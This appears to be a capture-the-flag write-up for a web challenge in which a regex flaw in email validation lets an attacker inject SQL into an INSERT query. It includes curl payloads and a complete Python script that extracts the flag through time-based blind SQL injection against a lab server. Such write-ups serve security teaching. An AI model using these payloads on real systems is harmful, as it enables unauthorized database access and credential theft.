Skip to content

Writeup for S2G Web Challenge - Fishy

Posted on:December 15, 2023 at 11:15 PM

Challenge Description

We got an email redirecting us to this phishing website. We managed to retrive the source code of the page. Can you see if they managed to steal any valuable information?

http://10.212.138.23:48934

<source-code> (download and try yourself:))

initial findings

The challenge is a login page that prompts users to input a username and password.

We are given the source code for the challenge and find out that the flag is stored in the database as a password for one of the users.

The web application has three endpoints:

MethodEndpointDescription
GET/loginRetrieves the html for the login page
POST/loginLogin with email and password. Email is validated with custom email function. Password escapes strings. It executes a SQL INSERT statement on valid email and password. This SQL sentence is not committed. It always returns the login page with the same error.
GET/credentialsRetrieves all emails and passwords stored in the database. Endpoint is protected with IP only from localhost

The codebase is super small, the only thing that sparked my interest was this SQL query. If it is possible to do a SQL injection in this query we could get the flag straight from the database, and not go through the /credentials endpoint

#/app/app.py
if valid_email(email):
  cursor.execute(f'INSERT INTO credentials (email, password) VALUES("{email}", "{password}")')

Since we are not allowed to escape strings on the password, we need to find a way to escape the string in the email.

Solution

Checking the function for validating email I found out that it had a flaw. The regex does not escape the last dot, allowing us to use any character instead. For example, martin@test”com instead if the intended [email protected].

#/app/util.py
def valid_email(email):
    return re.search(r'^[a-z0-9\.]{1,64}@[a-z0-9]{2,64}.[a-z]{2,5}$', email)

def escape_string(string):
    return string.replace('"', r'\"')

After escaping the string, we are faced with a new issue; the remaining SQL query is broken. This is solved by using the last five characters in the email address as a SQL command to join the two strings into one value. The password is used to fix the SQL query so that it makes sense.

INSERT INTO credentials (email, password) VALUES("martin@test"com", "mypassword")
INSERT INTO credentials (email, password) VALUES("martin@test"rlike", ",char(1))--")
curl -X POST http://10.212.138.23:48934/login --data "email=aaaa@aaa\"rlike&password=,char(1))--"

Now it is possible to control the SQL query being executed. It is time for the data retrieval process. Since the query is never committed or outputted to the user, I considered two options. 1. DNS exfiltrating. 2. Time based data retrieval. I opted for the second option since it is way easier to pull off.

Experimenting a bit, I could get the database to sleep. Nice!

curl -X POST http://10.212.138.23:48934/login --data "email=abaa@aaa\"rlike&password=,char(2)) UNION (SELECT SLEEP(2));# --"

I experimented with conditional sleeps so I could sleep when the data I sent in matched the flag stored in the database.

curl -X POST http://localhost/login --data "email=abaa@aaa\"rlike&password=,char(2)) UNION (SELECT SLEEP(2), 1 FROM credentials WHERE password LIKE '%S2G{%');# --"

My small test was a success, so I created a script to do time-based SQL data retrieval automatically.

Final exploit

import requests
import string
import time

alfa = string.ascii_lowercase + string.digits + "{}_"+ string.ascii_uppercase

url = "http://10.212.138.23:48934/login"

flag = "S2G{"
while True:
    for c in alfa:
        time.sleep(0.4)
        injection = "email=abaa@aaa\"rlike&password=,char(2)) UNION (SELECT SLEEP(5), 1 FROM credentials WHERE password LIKE '%{}%');# --".format(flag + c)
        
        print(injection)

        start = time.time()
        r = requests.post(url, data=injection, headers={'Content-Type': 'application/x-www-form-urlencoded'})
        end = time.time()

        print(r.text)
        print(flag + c)

        if end - start < 4:
            continue
        else:
            flag += c
            break

Flag: S2G{a6fb49f31727d03c74873457049cc815}